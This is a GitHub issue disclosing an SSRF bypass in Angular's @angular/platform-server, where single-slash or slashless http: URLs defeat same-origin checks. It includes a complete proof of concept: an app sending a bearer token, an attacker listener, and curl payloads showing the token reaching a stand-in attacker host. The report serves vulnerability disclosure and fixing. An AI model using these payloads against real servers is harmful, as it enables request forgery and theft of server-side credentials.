Skip to content

SSRF in @angular/platform-server: http:/host/path URLs bypass the GHSA-f6mr-pjwc-34m4 fix #70447

Description

@VenkatKwest

Which @angular/* package(s) are the source of the bug?

platform-server

Is this a regression?

Yes. The fix for GHSA-f6mr-pjwc-34m4 (3e924cc8db, cherry-picked to 22.1.4 / 21.2.22 / 20.3.30) is incomplete. Reproduced on @angular/platform-server 22.1.4, the version that advisory names as patched.

Description

Per WHATWG, http:/host/path and http:host/path resolve differently depending on whether a base URL of the same scheme is supplied:

new URL('http:/attacker.example/steal', 'http://app.example.com')  // http://app.example.com/attacker.example/steal
new URL('http:/attacker.example/steal')                            // http://attacker.example/steal

A browser always supplies the document base, so such a URL is same-origin there:

// devtools, page served from http://127.0.0.1:4000
new Request('http:/attacker.example/steal').url   // "http://127.0.0.1:4000/attacker.example/steal"

relativeUrlsTransformerInterceptorFn exists to reproduce that behaviour on the server, where fetch() has no base. It does not, for two independent reasons.

1. The interceptor skips normalization for anything with a scheme (packages/platform-server/src/http.ts):

const URL_SCHEMA_REGEXP = /^(?:[a-zA-Z][a-zA-Z0-9+\-.]*:)/;

const trimmedUrl = request.url.trim();
if (URL_SCHEMA_REGEXP.test(trimmedUrl)) {
  // URLs with a schema should be left unchanged.
  return next(request);
}

The raw string reaches the backend, which parses it with no base.

2. resolveUrl would make the same mistake anyway. Its fast path parses without the base (packages/platform-server/src/url.ts):

// Fast-path: if the URL is a valid, standard absolute URL, parse and return it immediately.
let resolved: URL | undefined;
try {
  resolved = new URL(urlStr);
} catch {}

new URL('http:/attacker.example/steal') succeeds, so the fast path returns the cross-origin URL, and isSafeOriginChange permits it because /^https?:/i matches the raw string. Removing the passthrough alone does not fix this.

Measured against base http://127.0.0.1:4000/:

url resolveUrl(url, base, {allowProtocolRelative:true}) new URL(url, base)
/api/data http://127.0.0.1:4000/api/data same
//cdn.example.com/x http://cdn.example.com/x same
https://api.example.com/x https://api.example.com/x same
http:/localhost:9999/steal http://localhost:9999/steal http://127.0.0.1:4000/localhost:9999/steal
http:localhost:9999/steal http://localhost:9999/steal http://127.0.0.1:4000/localhost:9999/steal

Consequence: an application that validates a user-supplied URL as same-origin with the WHATWG parser and then passes it to HttpClient — the threat model GHSA-f6mr-pjwc-34m4 describes — issues the request to an attacker-chosen host instead, with whatever headers it attached.

Affects the default FetchBackend; not dependent on the deprecated XHR backend.

One unauthenticated GET to the SSR app is sufficient; no victim interaction is required:

GET /?u=http:/attacker.example/collect HTTP/1.1
Host: app.example.com

The server renders the route, the application's origin check passes, and the server issues GET http://attacker.example/collect carrying the application's request headers. The attacker's response body is rendered into the returned HTML.

Please provide a link to a minimal reproduction of the bug

Full reproduction below, starting from ng new. Every changed file is listed; no other changes to the scaffold.

1. Scaffold

npx @angular/cli@22 new v22ssr --ssr --defaults --skip-git --style=css --package-manager=npm
cd v22ssr

2. angular.json — set projects.v22ssr.architect.build.options.security.allowedHosts:

"security": {
  "allowedHosts": ["127.0.0.1"]
}

Required, not a weakening: with the scaffold default [] every request fails host validation and falls back to client-side rendering (Header "host" with value "127.0.0.1:4000" is not allowed.), so the app never server-renders.

3. src/app/app.routes.server.ts — render per request:

import { RenderMode, ServerRoute } from '@angular/ssr';

export const serverRoutes: ServerRoute[] = [
  { path: '**', renderMode: RenderMode.Server }
];

4. src/app/app.config.ts — add provideHttpClient() (no withFetch(); FetchBackend is the v22 default):

import { ApplicationConfig, provideBrowserGlobalErrorListeners } from '@angular/core';
import { provideRouter } from '@angular/router';
import { provideHttpClient } from '@angular/common/http';
import { routes } from './app.routes';
import { provideClientHydration, withEventReplay } from '@angular/platform-browser';

export const appConfig: ApplicationConfig = {
  providers: [
    provideBrowserGlobalErrorListeners(),
    provideRouter(routes),
    provideClientHydration(withEventReplay()),
    provideHttpClient(),
  ]
};

5. src/app/app.ts

import { Component, inject, PLATFORM_ID, PendingTasks, signal } from '@angular/core';
import { isPlatformServer, PlatformLocation } from '@angular/common';
import { HttpClient } from '@angular/common/http';
import { firstValueFrom } from 'rxjs';

@Component({
  selector: 'app-root',
  template: `<pre>{{ log() }}</pre>`,
})
export class App {
  log = signal('');
  private http = inject(HttpClient);
  private loc = inject(PlatformLocation);

  constructor() {
    if (isPlatformServer(inject(PLATFORM_ID))) {
      inject(PendingTasks).run(() => this.render());
    }
  }

  private async render() {
    const origin =
      `${this.loc.protocol}//${this.loc.hostname}` + (this.loc.port ? `:${this.loc.port}` : '');
    const url = new URLSearchParams(this.loc.search).get('u') ?? '/api/data';

    // Application-level same-origin validation, using the WHATWG parser.
    if (new URL(url, origin).origin !== origin) {
      this.log.set('BLOCKED by app validation | url=' + url);
      return;
    }

    try {
      const body = await firstValueFrom(
        this.http.get(url, {
          responseType: 'text',
          headers: { Authorization: 'Bearer SERVER_SIDE_SECRET' },
        }),
      );
      this.log.set('ALLOWED by app validation | url=' + url + ' | response=' + body);
    } catch (e: any) {
      this.log.set('ALLOWED by app validation | url=' + url + ' | request failed: ' + e.message);
    }
  }
}

6. src/server.ts — add above app.use(express.static(...)):

app.get('/api/data', (_req, res) => {
  res.type('text/plain').send('LEGITIMATE_INTERNAL_API_DATA');
});

7. attacker.mjs

import http from 'node:http';
http.createServer((req, res) => {
  console.log(`[attacker.example] ${req.method} ${req.url}  Authorization=${req.headers.authorization}`);
  res.end('ATTACKER_CONTROLLED_RESPONSE');
}).listen(9999, '127.0.0.1', () => console.log('[attacker.example] listening on 9999'));

8. Run

npm run build
node attacker.mjs &
PORT=4000 node dist/v22ssr/server/server.mjs &

P='<pre[^>]*>[^<]*</pre>'
curl -s "http://127.0.0.1:4000/"                                          -H "Host: 127.0.0.1:4000" | grep -o "$P"
curl -s "http://127.0.0.1:4000/?u=http%3A%2F%2Flocalhost%3A9999%2Fsteal"  -H "Host: 127.0.0.1:4000" | grep -o "$P"
curl -s "http://127.0.0.1:4000/?u=http%3A%2Flocalhost%3A9999%2Fsteal-a"   -H "Host: 127.0.0.1:4000" | grep -o "$P"
curl -s "http://127.0.0.1:4000/?u=http%3Alocalhost%3A9999%2Fsteal-b"      -H "Host: 127.0.0.1:4000" | grep -o "$P"

Please provide the exception or error you saw

No exception; the requests succeed silently. Output of the four curl commands above:

<pre>ALLOWED by app validation | url=/api/data | response=LEGITIMATE_INTERNAL_API_DATA</pre>
<pre>BLOCKED by app validation | url=http://localhost:9999/steal</pre>
<pre>ALLOWED by app validation | url=http:/localhost:9999/steal-a | response=ATTACKER_CONTROLLED_RESPONSE</pre>
<pre>ALLOWED by app validation | url=http:localhost:9999/steal-b | response=ATTACKER_CONTROLLED_RESPONSE</pre>

attacker.mjs output:

[attacker.example] GET /steal-a  Authorization=Bearer SERVER_SIDE_SECRET
[attacker.example] GET /steal-b  Authorization=Bearer SERVER_SIDE_SECRET

The second request is the same destination written as a plain absolute URL: the application's validation rejects it. The third and fourth are that destination written with one slash and with none — validation passes, the request leaves the server, and the Authorization header goes with it.

Please provide the environment you discovered this bug in (run ng version)

Angular CLI       : 22.1.6
Angular           : 22.1.4
Node.js           : 26.7.0
Package Manager   : npm 11.19.0
Operating System  : darwin arm64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 22.1.6            │ ^22.1.6           │
│ @angular/cli              │ 22.1.6            │ ^22.1.6           │
│ @angular/common           │ 22.1.4            │ ^22.1.0           │
│ @angular/compiler         │ 22.1.4            │ ^22.1.0           │
│ @angular/compiler-cli     │ 22.1.4            │ ^22.1.0           │
│ @angular/core             │ 22.1.4            │ ^22.1.0           │
│ @angular/forms            │ 22.1.4            │ ^22.1.0           │
│ @angular/platform-browser │ 22.1.4            │ ^22.1.0           │
│ @angular/platform-server  │ 22.1.4            │ ^22.1.0           │
│ @angular/router           │ 22.1.4            │ ^22.1.0           │
│ @angular/ssr              │ 22.1.6            │ ^22.1.6           │
│ rxjs                      │ 7.8.2             │ ~7.8.0            │
│ typescript                │ 6.0.3             │ ~6.0.2            │
│ vitest                    │ 4.1.11            │ ^4.0.8            │
└───────────────────────────┴───────────────────┴───────────────────┘

Also reproduced on @angular/platform-server 21.2.22 / @angular/ssr 21.2.22. Server entry point is the unmodified scaffolded AngularNodeAppEngine.

Anything else?

Reported to the Google OSS VRP on 28 August 2026 (the channel SECURITY.md designates for Angular). It was closed as Won't Fix (Infeasible) — not severe enough for them to track as a security bug — with the response: "Please feel free to publicly disclose this issue on GitHub as a public issue." Filing here on that basis.

Independent of allowedHosts and of the request origin. allowedHosts gates only whether the request is server-rendered; it does not inspect HttpClient URLs. On the vulnerable path inject(PlatformLocation) is never reached, because the early return precedes it. Rebuilding the same reproduction with "allowedHosts": ["app.example.com"] and sending Host: app.example.com (a domain that does not resolve from the test machine):

curl -s "http://127.0.0.1:4000/"                                           -H "Host: app.example.com" | grep -o "$P"
curl -s "http://127.0.0.1:4000/?u=http%3A%2Flocalhost%3A9999%2Fsteal-prod" -H "Host: app.example.com" | grep -o "$P"

<pre>ALLOWED by app validation | url=/api/data | request failed: Http failure response for http://app.example.com/api/data: 0 undefined</pre>
<pre>ALLOWED by app validation | url=http:/localhost:9999/steal-prod | response=ATTACKER_CONTROLLED_RESPONSE</pre>

[attacker.example] GET /steal-prod  Authorization=Bearer SERVER_SIDE_SECRET

The legitimate relative request is resolved against the origin and fails, confirming the origin is genuinely http://app.example.com. The attack is unaffected.

Not a duplicate. The three existing platform-server SSRF advisories all concern the inbound direction — a request URL or Host header poisoning PlatformLocation.origin: CVE-2026-41423 (GHSA-45q2-gjvg-7973), CVE-2026-46417 (GHSA-rfh7-fxqc-q52v), CVE-2026-50168 (GHSA-xrxm-cp7j-8xf6). This concerns the outbound direction, the URL string passed to HttpClient; PlatformLocation.origin is correct throughout and allowedHosts is enforcing. The only prior advisory in that direction is GHSA-f6mr-pjwc-34m4. CVE-2026-41423 lists AngularNodeAppEngine as not affected; this issue does affect it.

No open issue or PR in angular/angular or angular/angular-cli matches, and no commit touches packages/platform-server/src/ after 3e924cc8db.

Fix. Both layers need to change. The interceptor must not skip URLs that lack an authority, and resolveUrl must resolve against the base when one is supplied rather than parsing bare. Resolving against the base already yields the correct result for every case in the table above, including genuine absolute and protocol-relative URLs.

Metadata

Metadata

Assignees

No one assigned

    Labels

    area: serverIssues related to server-side renderinggemini-triagedLabel noting that an issue has been triaged by gemini

    Type

    No type

    Projects

    No projects

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions